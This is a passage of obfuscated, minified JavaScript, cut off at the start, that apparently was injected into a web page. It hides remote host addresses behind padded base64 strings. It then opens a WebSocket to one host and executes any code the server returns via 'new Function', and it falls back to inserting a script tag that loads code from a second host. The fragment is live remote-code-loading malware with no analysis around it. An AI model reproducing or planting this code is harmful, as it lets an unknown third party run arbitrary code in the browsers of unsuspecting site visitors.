ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLmtlYm5yYS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5jbm1llbnQuY24llM0E5NTM1','162092',window,document,['M','l']);}:function(){};